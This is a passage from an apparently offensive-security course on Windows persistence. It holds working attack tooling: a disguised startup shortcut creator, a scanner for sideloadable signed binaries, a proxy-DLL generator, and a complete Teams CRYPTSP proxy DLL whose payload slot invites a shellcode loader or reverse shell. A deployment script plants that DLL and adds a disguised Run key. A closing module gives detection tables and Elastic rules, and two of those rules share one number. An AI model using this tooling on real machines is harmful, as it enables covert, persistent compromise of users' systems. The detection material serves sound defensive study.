pShellLink->SetShowCmd(SW_MINIMIZE); // minimized = less visible // Get working directory from target path std::wstring workDir = targetPath.substr(0, targetPath.find_last_of(L"\\/")); pShellLink->SetWorkingDirectory(workDir.c_str()); // Save via IPersistFile IPersistFile* pPersistFile = nullptr; pShellLink->QueryInterface(IID_IPersistFile, (void**)&pPersistFile); HRESULT hr = pPersistFile->Save(lnkPath.c_str(), TRUE); pPersistFile->Release(); pShellLink->Release(); CoUninitialize(); if (SUCCEEDED(hr)) { std::wcout << L"[+] LNK created: " << lnkPath << std::endl; return true; } std::wcerr << L"[-] LNK creation failed: 0x" << std::hex << hr << std::endl; return false; } int main() { CreateStartupLnk( LR"(C:\Windows\System32\cmd.exe)", // target executable L"/c calc.exe", // arguments L"Windows Update Service", // shortcut name (no .lnk) false // false = user startup, true = all-users ); return 0; }

06
Module Six

DLL SIDELOADING & PROXYING

// Hijack trusted process DLL search order — your payload runs under a signed Microsoft binary
T1574.002 Detection: Lower Stealth: Very High Reliability: Medium-High

DLL sideloading abuses the Windows DLL search order. When a trusted, signed executable launches and attempts to load a DLL that doesn't exist in the expected location, an attacker can plant a malicious DLL with the correct name in a directory that appears earlier in the search order. The legitimate process loads the attacker's DLL — and since the parent process is signed and trusted, EDR products are far less likely to flag its child activity.

The technique is particularly powerful when combined with persistence: place the target executable and the malicious DLL in a user-writable directory, then point a Run key, scheduled task, or startup folder entry at that executable. On every logon, the trusted binary launches and unknowingly loads the payload.

DLL proxying extends this by making the malicious DLL forward all exports to the original legitimate DLL — so the host application continues functioning normally while the payload runs silently. Without proxying, the host application may crash or malfunction, creating a visible indicator that something is wrong.

! The search order matters. Windows resolves DLLs in this sequence for most processes: (1) DLLs already in memory, (2) KnownDLLs registry, (3) application directory, (4) system directory (System32), (5) Windows directory, (6) current working directory, (7) PATH directories. Sideloading exploits the fact that the application directory (#3) precedes System32 (#4) — so a DLL placed next to the executable wins over the real one in System32.

Finding Vulnerable Targets

The best sideloading targets are signed binaries that ship without their own copy of a DLL they import — meaning they rely on Windows finding it elsewhere in the search path. Finding them requires ProcMon observation or static import analysis.

Python find_sideload_targets.py — identify vulnerable DLL load candidates
import os import subprocess import pefile # pip install pefile from pathlib import Path # Known DLLs that are protected and cannot be sideloaded # (Windows loads these from its internal cache, not the filesystem) KNOWN_DLLS = { "ntdll.dll", "kernel32.dll", "kernelbase.dll", "advapi32.dll", "user32.dll", "gdi32.dll", "shell32.dll", "ole32.dll", "oleaut32.dll", "rpcrt4.dll", "ws2_32.dll", "msvcrt.dll", "sechost.dll", "shlwapi.dll", "combase.dll", } def get_imports(exe_path: str) -> list[str]: """Parse PE import table and return list of imported DLL names.""" try: pe = pefile.PE(exe_path, fast_load=True) pe.parse_data_directories( directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_IMPORT']] ) if not hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'): return [] return [ entry.dll.decode('utf-8', errors='ignore').lower() for entry in pe.DIRECTORY_ENTRY_IMPORT ] except Exception: return [] def find_sideload_candidates( search_dir: str, require_signed: bool = True, user_writable_only: bool = True ) -> list[dict]: """ Scan a directory for EXEs whose imported DLLs don't exist in the same directory — a necessary condition for sideloading. Returns a list of dicts: {exe, missing_dlls, dir_writable} """ candidates = [] search_path = Path(search_dir) for exe in search_path.rglob("*.exe"): exe_dir = exe.parent imports = get_imports(str(exe)) missing = [] for dll in imports: dll_lower = dll.lower() if dll_lower in KNOWN_DLLS: continue # skip protected KnownDLLs # DLL is missing from the executable's own directory if not (exe_dir / dll).exists(): missing.append(dll) if not missing: continue # Check if the directory is user-writable writable = _is_writable(exe_dir) if user_writable_only and not writable: continue candidates.append({ "exe": str(exe), "missing_dlls": missing, "dir_writable": writable, }) return candidates def _is_writable(path: Path) -> bool: """Test write access to a directory without needing elevated rights.""" test = path / ".__write_test__" try: test.touch(); test.unlink() return True except: return False def check_known_targets() -> list[dict]: """ Check a curated list of known-vulnerable sideload targets. These have been publicly documented as sideload-friendly. Returns only those present on this machine. """ localappdata = os.environ.get("LOCALAPPDATA", "") progfiles = os.environ.get("ProgramFiles", r"C:\Program Files") progfilesx86 = os.environ.get("ProgramFiles(x86)", r"C:\Program Files (x86)") # Format: (exe_path, dll_to_plant, notes) known = [ ( os.path.join(localappdata, r"Microsoft\Teams\current\Teams.exe"), "CRYPTSP.dll", "Teams classic — loads CRYPTSP from app dir before System32" ), ( os.path.join(localappdata, r"Microsoft\Teams\current\Squirrel.exe"), "CRYPTSP.dll", "Teams updater — same directory, same vuln" ), ( os.path.join(progfilesx86, r"Microsoft\Edge\Application\msedge.exe"), "d3dcompiler_47.dll", "Edge — loads d3dcompiler from app dir" ), ( os.path.join(progfiles, r"Microsoft OneDrive\OneDrive.exe"), "WSCAPI.dll", "OneDrive — WSCAPI not in app dir" ), ( r"C:\Windows\System32\wlrmdr.exe", "SlideShow.dll", "Windows lock reminder — loads SlideShow from CWD" ), ( os.path.join(progfilesx86, r"Google\Chrome\Application\chrome.exe"), "dbghelp.dll", "Chrome — dbghelp search reaches app dir" ), ] results = [] for exe_path, dll_name, note in known: if os.path.exists(exe_path): exe_dir = os.path.dirname(exe_path) writable = _is_writable(Path(exe_dir)) results.append({ "exe": exe_path, "dll": dll_name, "writable": writable, "note": note, }) return results # ── Usage ────────────────────────────────────────────────────── if __name__ == "__main__": print("[*] Checking known sideload targets on this machine...\n") for t in check_known_targets(): status = "[WRITABLE]" if t["writable"] else "[read-only]" print(f" {status} {t['exe']}") print(f" Plant: {t['dll']} — {t['note']}") print("\n[*] Scanning user-writable app directories for candidates...") localappdata = os.environ.get("LOCALAPPDATA", "") for c in find_sideload_candidates(localappdata, user_writable_only=True): print(f"\n EXE: {c['exe']}") print(f" Missing: {', '.join(c['missing_dlls'][:4])}")

Building the Proxy DLL

A plain sideload DLL that doesn't forward exports will crash the host application the moment it tries to call a function from the DLL — a very loud indicator. A proxy DLL solves this by re-exporting every function from the real DLL, forwarding calls transparently. The host application works normally; the payload runs in DllMain on load.

The proxy pattern uses MSVC/MinGW #pragma comment(linker, "/export:...") directives to forward named exports to the original DLL (renamed, e.g. CRYPTSP_orig.dll). The Python script below auto-generates the full proxy DLL source by parsing the target DLL's export table.

Python generate_proxy_dll.py — auto-generate a forwarding proxy DLL source file
import pefile import os import sys from pathlib import Path def get_exports(dll_path: str) -> list[dict]: """ Parse a DLL's export table and return a list of exports. Each export: {'name': str|None, 'ordinal': int, 'address': int} """ pe = pefile.PE(dll_path, fast_load=True) pe.parse_data_directories( directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_EXPORT']] ) exports = [] if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): return exports for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: name = exp.name.decode('utf-8', errors='ignore') if exp.name else None exports.append({ 'name': name, 'ordinal': exp.ordinal, 'address': exp.address, }) return exports def generate_proxy_cpp( real_dll_path: str, orig_suffix: str = "_orig", payload_note: str = "// TODO: insert payload here" ) -> str: """ Generate a complete proxy DLL .cpp source file. Strategy: - Rename the real DLL to DllName_orig.dll (e.g. CRYPTSP_orig.dll) - Compile this generated source as DllName.dll - #pragma linker directives forward every named export to the _orig DLL - Ordinal-only exports are forwarded via a stub function pointer array - DllMain executes the payload on DLL_PROCESS_ATTACH The resulting DLL is a transparent drop-in replacement: the host application loads and runs identically while the payload fires once. """ exports = get_exports(real_dll_path) dll_basename = Path(real_dll_path).stem # e.g. "CRYPTSP" orig_name = dll_basename + orig_suffix # e.g. "CRYPTSP_orig" lines = [] # ── Header ──────────────────────────────────────────────────── lines.append(f"""// {dll_basename}_proxy.cpp — g3tsyst3m // Auto-generated proxy DLL for: {os.path.basename(real_dll_path)} // Forwards all exports to {orig_name}.dll // // Build steps: // 1. Rename {dll_basename}.dll → {orig_name}.dll (in the target app directory) // 2. Compile this file: // x86_64-w64-mingw32-g++ -shared -o {dll_basename}.dll {dll_basename}_proxy.cpp // -Wl,--kill-at (strip stdcall name decoration) // 3. Place the compiled {dll_basename}.dll in the target app directory // #include #include """) # ── Linker export-forwarding pragmas (named exports) ────────── lines.append("// ── Export forwarding to original DLL ──────────────────────") named_exports = [e for e in exports if e['name']] for exp in named_exports: name = exp['name'] lines.append( f'#pragma comment(linker, "/export:{name}={orig_name}.{name},@{exp[\'ordinal\']}")' ) # ── Ordinal-only exports via forwarding stubs ───────────────── ordinal_only = [e for e in exports if not e['name']] if ordinal_only: lines.append("\n// ── Ordinal-only export stubs (no name to forward by) ───────") lines.append("// These load the real function by ordinal at runtime.") lines.append("static HMODULE hOrig = nullptr;") lines.append(f'static const wchar_t* kOrigDll = L"{orig_name}.dll";') for exp in ordinal_only: ord_n = exp['ordinal'] lines.append(f""" extern "C" __declspec(dllexport) void __stdcall OrdinalStub_{ord_n}() {{ if (!hOrig) hOrig = LoadLibraryW(kOrigDll); if (!hOrig) return; auto fn = (void(*)())GetProcAddress(hOrig, MAKEINTRESOURCEA({ord_n})); if (fn) fn(); }}""") # ── Payload ──────────────────────────────────────────────────── lines.append(f""" // ── Payload ─────────────────────────────────────────────────── // Runs once on DLL_PROCESS_ATTACH in a new thread to avoid // blocking the loader lock and crashing the host process. static DWORD WINAPI PayloadThread(LPVOID) {{ {payload_note} // Example: WinExec("calc.exe", SW_SHOW); return 0; }}""") # ── DllMain ─────────────────────────────────────────────────── lines.append(f""" // ── DllMain ─────────────────────────────────────────────────── BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID) {{ if (reason == DLL_PROCESS_ATTACH) {{ DisableThreadLibraryCalls(hInst); // Load the real DLL so forwarded exports resolve correctly if (!hOrig) hOrig = LoadLibraryW(L"{orig_name}.dll"); // Fire payload in a separate thread — NEVER block DllMain CreateThread(nullptr, 0, PayloadThread, nullptr, 0, nullptr); }} if (reason == DLL_PROCESS_DETACH && hOrig) {{ FreeLibrary(hOrig); }} return TRUE; }}""") return "\n".join(lines) def write_proxy(dll_path: str, output_dir: str = "."): src = generate_proxy_cpp(dll_path) stem = Path(dll_path).stem out = Path(output_dir) / f"{stem}_proxy.cpp" out.write_text(src, encoding="utf-8") print(f"[+] Proxy source written: {out}") print(f" Compile: x86_64-w64-mingw32-g++ -shared -o {stem}.dll {out.name} -Wl,--kill-at") print(f" Then: rename real {stem}.dll → {stem}_orig.dll in target app dir") # ── Usage ────────────────────────────────────────────────────── if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python generate_proxy_dll.py <path\\to\\target.dll> [output_dir]") print("Example: python generate_proxy_dll.py C:\\Windows\\System32\\CRYPTSP.dll .") sys.exit(1) dll_path = sys.argv[1] output_dir = sys.argv[2] if len(sys.argv) > 2 else "." write_proxy(dll_path, output_dir)
Never block in DllMain. The Windows loader lock is held during DLL_PROCESS_ATTACH — any call to LoadLibrary, CreateThread, or blocking synchronization primitives from within DllMain itself can cause deadlocks. The pattern above uses CreateThread to launch the payload asynchronously and returns immediately from DllMain.

Complete Proxy DLL — Teams CRYPTSP Example

C++ CRYPTSP_proxy.cpp — proxy DLL targeting Microsoft Teams classic
// CRYPTSP_proxy.cpp — g3tsyst3m // Proxy DLL for Microsoft Teams classic (Teams.exe) sideloading via CRYPTSP.dll // // Deployment: // 1. Copy CRYPTSP.dll from C:\Windows\System32\ → teams_dir\CRYPTSP_orig.dll // 2. Compile this file → teams_dir\CRYPTSP.dll // 3. Add a Run key or scheduled task pointing at teams_dir\Teams.exe // Teams launches, loads our CRYPTSP.dll instead of the real one, // forwards all exports to CRYPTSP_orig.dll, fires payload in background. // // teams_dir = %LOCALAPPDATA%\Microsoft\Teams\current\ // // Compile (MinGW, 64-bit to match Teams.exe): // x86_64-w64-mingw32-g++ -shared -o CRYPTSP.dll CRYPTSP_proxy.cpp \ // -Wl,--kill-at -s // (-s strips symbols; --kill-at removes stdcall @ decoration from exports) #include <windows.h> // ── Forward all CRYPTSP.dll named exports to the real DLL ───────────────── // These pragmas embed /EXPORT: linker directives so the compiled DLL // re-exports every function by name, redirecting callers to the original. // Generated by: python generate_proxy_dll.py C:\Windows\System32\CRYPTSP.dll #pragma comment(linker, "/export:CryptAcquireContextA=CRYPTSP_orig.CryptAcquireContextA,@1") #pragma comment(linker, "/export:CryptAcquireContextW=CRYPTSP_orig.CryptAcquireContextW,@2") #pragma comment(linker, "/export:CryptContextAddRef=CRYPTSP_orig.CryptContextAddRef,@3") #pragma comment(linker, "/export:CryptCreateHash=CRYPTSP_orig.CryptCreateHash,@4") #pragma comment(linker, "/export:CryptDecrypt=CRYPTSP_orig.CryptDecrypt,@5") #pragma comment(linker, "/export:CryptDeriveKey=CRYPTSP_orig.CryptDeriveKey,@6") #pragma comment(linker, "/export:CryptDestroyHash=CRYPTSP_orig.CryptDestroyHash,@7") #pragma comment(linker, "/export:CryptDestroyKey=CRYPTSP_orig.CryptDestroyKey,@8") #pragma comment(linker, "/export:CryptDuplicateHash=CRYPTSP_orig.CryptDuplicateHash,@9") #pragma comment(linker, "/export:CryptDuplicateKey=CRYPTSP_orig.CryptDuplicateKey,@10") #pragma comment(linker, "/export:CryptEncrypt=CRYPTSP_orig.CryptEncrypt,@11") #pragma comment(linker, "/export:CryptExportKey=CRYPTSP_orig.CryptExportKey,@12") #pragma comment(linker, "/export:CryptGenKey=CRYPTSP_orig.CryptGenKey,@13") #pragma comment(linker, "/export:CryptGenRandom=CRYPTSP_orig.CryptGenRandom,@14") #pragma comment(linker, "/export:CryptGetDefaultProviderA=CRYPTSP_orig.CryptGetDefaultProviderA,@15") #pragma comment(linker, "/export:CryptGetDefaultProviderW=CRYPTSP_orig.CryptGetDefaultProviderW,@16") #pragma comment(linker, "/export:CryptGetHashParam=CRYPTSP_orig.CryptGetHashParam,@17") #pragma comment(linker, "/export:CryptGetKeyParam=CRYPTSP_orig.CryptGetKeyParam,@18") #pragma comment(linker, "/export:CryptGetProvParam=CRYPTSP_orig.CryptGetProvParam,@19") #pragma comment(linker, "/export:CryptGetUserKey=CRYPTSP_orig.CryptGetUserKey,@20") #pragma comment(linker, "/export:CryptHashData=CRYPTSP_orig.CryptHashData,@21") #pragma comment(linker, "/export:CryptHashSessionKey=CRYPTSP_orig.CryptHashSessionKey,@22") #pragma comment(linker, "/export:CryptImportKey=CRYPTSP_orig.CryptImportKey,@23") #pragma comment(linker, "/export:CryptReleaseContext=CRYPTSP_orig.CryptReleaseContext,@24") #pragma comment(linker, "/export:CryptSetHashParam=CRYPTSP_orig.CryptSetHashParam,@25") #pragma comment(linker, "/export:CryptSetKeyParam=CRYPTSP_orig.CryptSetKeyParam,@26") #pragma comment(linker, "/export:CryptSetProvParam=CRYPTSP_orig.CryptSetProvParam,@27") #pragma comment(linker, "/export:CryptSetProviderA=CRYPTSP_orig.CryptSetProviderA,@28") #pragma comment(linker, "/export:CryptSetProviderExA=CRYPTSP_orig.CryptSetProviderExA,@29") #pragma comment(linker, "/export:CryptSetProviderExW=CRYPTSP_orig.CryptSetProviderExW,@30") #pragma comment(linker, "/export:CryptSetProviderW=CRYPTSP_orig.CryptSetProviderW,@31") #pragma comment(linker, "/export:CryptSignHashA=CRYPTSP_orig.CryptSignHashA,@32") #pragma comment(linker, "/export:CryptSignHashW=CRYPTSP_orig.CryptSignHashW,@33") #pragma comment(linker, "/export:CryptVerifySignatureA=CRYPTSP_orig.CryptVerifySignatureA,@34") #pragma comment(linker, "/export:CryptVerifySignatureW=CRYPTSP_orig.CryptVerifySignatureW,@35") // ── Handle to the real DLL ──────────────────────────────────────────────── static HMODULE hOriginal = nullptr; // ── Payload — runs in a background thread ──────────────────────────────── static DWORD WINAPI PayloadThread(LPVOID) { // ============================================================ // INSERT PAYLOAD HERE // Replace WinExec with your shellcode loader, reverse shell, etc. // This thread is fully detached from the loader lock. // ============================================================ WinExec("calc.exe", SW_HIDE); return 0; } // ── DllMain ─────────────────────────────────────────────────────────────── BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) { if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hInst); // Load the real CRYPTSP so our forwarded exports resolve hOriginal = LoadLibraryW(L"CRYPTSP_orig.dll"); // Fire payload asynchronously — never block DllMain CreateThread(nullptr, 0, PayloadThread, nullptr, 0, nullptr); } if (reason == DLL_PROCESS_DETACH) { if (hOriginal) { FreeLibrary(hOriginal); hOriginal = nullptr; } } return TRUE; }

Full Deployment Script — Teams Persistence Chain

Python deploy_sideload.py — full end-to-end deployment with Run key persistence
import os import shutil import subprocess import winreg from pathlib import Path def deploy_teams_sideload( compiled_proxy_dll: str, run_key_name: str = "MicrosoftTeamsHelper" ) -> bool: """ Full deployment chain for Teams CRYPTSP sideload + Run key persistence. Steps: 1. Locate Teams installation directory 2. Rename real CRYPTSP.dll → CRYPTSP_orig.dll 3. Copy compiled proxy DLL → CRYPTSP.dll 4. Install Run key pointing at Teams.exe (auto-starts on logon) Args: compiled_proxy_dll: path to your compiled CRYPTSP.dll proxy run_key_name: registry value name for persistence """ localappdata = os.environ.get("LOCALAPPDATA", "") teams_dir = Path(localappdata) / "Microsoft" / "Teams" / "current" teams_exe = teams_dir / "Teams.exe" real_cryptsp = teams_dir / "CRYPTSP.dll" orig_cryptsp = teams_dir / "CRYPTSP_orig.dll" dest_proxy = teams_dir / "CRYPTSP.dll" # ── Validate target exists ───────────────────────────────────── if not teams_exe.exists(): print(f"[-] Teams not found at: {teams_exe}") print(" Try the scanner to find an alternate target.") return False # ── Check write access ──────────────────────────────────────── if not _is_writable(teams_dir): print(f"[-] No write access to: {teams_dir}") return False # ── Step 1: Rename real CRYPTSP.dll → CRYPTSP_orig.dll ──────── # Only rename if there isn't already an _orig (re-run safety) if not orig_cryptsp.exists(): if real_cryptsp.exists(): shutil.copy2(str(real_cryptsp), str(orig_cryptsp)) print(f"[+] Backed up: {real_cryptsp.name} → {orig_cryptsp.name}") else: # CRYPTSP.dll isn't in the Teams dir — copy the real one from System32 sys32 = Path(os.environ.get("SystemRoot", r"C:\Windows")) / "System32" / "CRYPTSP.dll" shutil.copy2(str(sys32), str(orig_cryptsp)) print(f"[+] Copied System32\\CRYPTSP.dll → {orig_cryptsp}") # ── Step 2: Plant proxy DLL ─────────────────────────────────── shutil.copy2(compiled_proxy_dll, str(dest_proxy)) print(f"[+] Proxy planted: {dest_proxy}") # ── Step 3: Install Run key → Teams.exe ────────────────────── # Teams is already in the user's Run key normally — our entry # blends in or replaces it. subkey = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run" try: key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, subkey, 0, winreg.KEY_SET_VALUE) winreg.SetValueEx(key, run_key_name, 0, winreg.REG_SZ, str(teams_exe)) winreg.CloseKey(key) print(f"[+] Run key installed: HKCU\\...\\Run\\{run_key_name}") print(f" → {teams_exe}") except Exception as e: print(f"[-] Run key failed: {e}") print("\n[*] Deployment complete. Payload fires on next user logon when Teams auto-starts.") return True def cleanup_sideload(run_key_name: str = "MicrosoftTeamsHelper"): """Remove the proxy DLL and restore the original, delete the Run key.""" localappdata = os.environ.get("LOCALAPPDATA", "") teams_dir = Path(localappdata) / "Microsoft" / "Teams" / "current" proxy_dll = teams_dir / "CRYPTSP.dll" orig_dll = teams_dir / "CRYPTSP_orig.dll" if orig_dll.exists(): if proxy_dll.exists(): proxy_dll.unlink() orig_dll.rename(proxy_dll) print(f"[+] Restored: CRYPTSP_orig.dll → CRYPTSP.dll") else: print("[!] CRYPTSP_orig.dll not found — was it already cleaned?") try: key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE) winreg.DeleteValue(key, run_key_name) winreg.CloseKey(key) print(f"[+] Run key removed: {run_key_name}") except Exception as e: print(f"[-] Run key removal: {e}") def _is_writable(path: Path) -> bool: test = path / ".__write_test__" try: test.touch(); test.unlink(); return True except: return False # ── Usage ────────────────────────────────────────────────────── if __name__ == "__main__": # Compile the proxy first: # x86_64-w64-mingw32-g++ -shared -o CRYPTSP.dll CRYPTSP_proxy.cpp -Wl,--kill-at -s # Then deploy: deploy_teams_sideload( compiled_proxy_dll=r".\CRYPTSP.dll", run_key_name="MicrosoftTeamsHelper" ) # cleanup_sideload()

07
Module Seven

DETECTION ENGINEERING

// Elastic ES|QL rules and Sysmon signatures for every technique
Defender POV TA0003 Coverage

Every technique in this course has detection artifacts. The table below maps each technique to its primary Sysmon event IDs and the field values that indicate malicious use. The Elastic ES|QL rules below can be deployed directly as detection rules in an Elastic Security environment with Sysmon data ingested.

Technique MITRE Primary Sysmon Events Key Detection Field Sev
Registry Run Keys T1547.001 Event 13 (RegistryValueSet) TargetObject contains \CurrentVersion\Run MED
Scheduled Tasks (schtasks) T1053.005 Event 1 (ProcessCreate) — schtasks.exe
Event 11 (FileCreate) — Tasks\ XML
Image = schtasks.exe; CommandLine contains /create MED
Scheduled Tasks (COM API) T1053.005 Event 11 — C:\Windows\System32\Tasks\*
Windows Event 4698
File creation in Tasks dir NOT by schtasks.exe HIGH
Windows Services (new) T1543.003 Event 1 — sc.exe
Windows Security Event 4697
CommandLine contains "sc create" or "sc config" HIGH
WMI Subscription (filter) T1546.003 WMI-Activity Event 5861 __EventFilter creation in root\subscription HIGH
WMI Subscription (consumer) T1546.003 WMI-Activity Event 5861 CommandLineEventConsumer or ActiveScriptEventConsumer HIGH
Startup Folder (LNK) T1547.001 Event 11 — Startup folder path TargetFilename contains \Startup\ AND .lnk extension MED
DLL Sideloading (proxy) T1574.002 Event 7 (ImageLoad) — Sysmon
Event 11 (FileCreate) in app dir
dll.path NOT in System32 AND dll.code_signature.trusted != true MED
DLL Sideloading (new file in app dir) T1574.002 Event 11 (FileCreate) TargetFilename in Teams/OneDrive dir, extension .dll, process not installer HIGH
Startup Folder (EXE) T1547.001 Event 11 — Startup folder path TargetFilename contains \Startup\ AND .exe extension HIGH
ES|QL Elastic detection rules — persistence technique coverage
// ── Rule 1: Registry Run Key modification ────────────────────── FROM logs-endpoint.events.registry-* WHERE event.type == "change" AND registry.path LIKE "*\\CurrentVersion\\Run*" AND registry.path LIKE "*\\Microsoft\\Windows\\*" AND NOT ( process.name IN ("OneDriveSetup.exe", "MicrosoftEdge.exe", "setup.exe") AND registry.data.strings LIKE "*Program Files*" ) STATS count = COUNT(*), hosts = COUNT_DISTINCT(host.name) BY registry.path, process.name, registry.data.strings // ── Rule 2: Scheduled task creation via schtasks.exe ─────────── FROM logs-endpoint.events.process-* WHERE process.name == "schtasks.exe" AND process.args LIKE "*/create*" AND NOT process.parent.name IN ( "msiexec.exe", "MicrosoftEdgeUpdate.exe", "WindowsUpdate.exe" ) KEEP host.name, user.name, process.command_line, process.parent.name // ── Rule 3: Task XML file creation NOT by schtasks.exe (COM API) FROM logs-endpoint.events.file-* WHERE file.path LIKE "C:\\Windows\\System32\\Tasks\\*" AND event.type == "creation" AND NOT process.name IN ("schtasks.exe", "taskeng.exe", "taskhost.exe", "taskhostw.exe") KEEP host.name, user.name, process.name, process.command_line, file.path // ── Rule 4: New Windows service creation ─────────────────────── FROM logs-system.security-* WHERE event.code == "4697" // A service was installed in the system AND NOT winlog.event_data.ServiceFileName LIKE "*Program Files*" AND NOT winlog.event_data.ServiceFileName LIKE "*Windows\\System32\\svchost.exe*" KEEP host.name, winlog.event_data.ServiceName, winlog.event_data.ServiceFileName, winlog.event_data.SubjectUserName // ── Rule 5: WMI permanent subscription created ───────────────── FROM logs-windows.sysmon_operational-* WHERE event.code == "19" // Sysmon Event 19 = WMI EventFilter creation OR event.code == "20" // Sysmon Event 20 = WMI EventConsumer creation OR event.code == "21" // Sysmon Event 21 = WMI FilterToConsumerBinding KEEP host.name, event.code, sysmon.filter_name, sysmon.consumer_name, sysmon.query, process.name // ── Rule 7: DLL loaded from app directory — not System32, not signed ── FROM logs-windows.sysmon_operational-* WHERE event.code == "7" // Sysmon ImageLoad AND dll.code_signature.trusted != true AND ( dll.path LIKE "%\\Microsoft\\Teams\\%" OR dll.path LIKE "%\\Microsoft OneDrive\\%" OR dll.path LIKE "%\\AppData\\Local\\Programs\\%" ) AND NOT process.name IN ("msiexec.exe", "setup.exe", "install.exe") KEEP host.name, process.name, process.pid, dll.path, dll.pe.original_file_name, dll.code_signature.status // ── Rule 7: File creation in startup folders ─────────────────── FROM logs-endpoint.events.file-* WHERE event.type == "creation" AND ( file.path LIKE "*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" OR file.path LIKE "*\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" ) AND NOT process.name IN ("msiexec.exe", "setup.exe", "install.exe") KEEP host.name, user.name, process.name, file.path, file.extension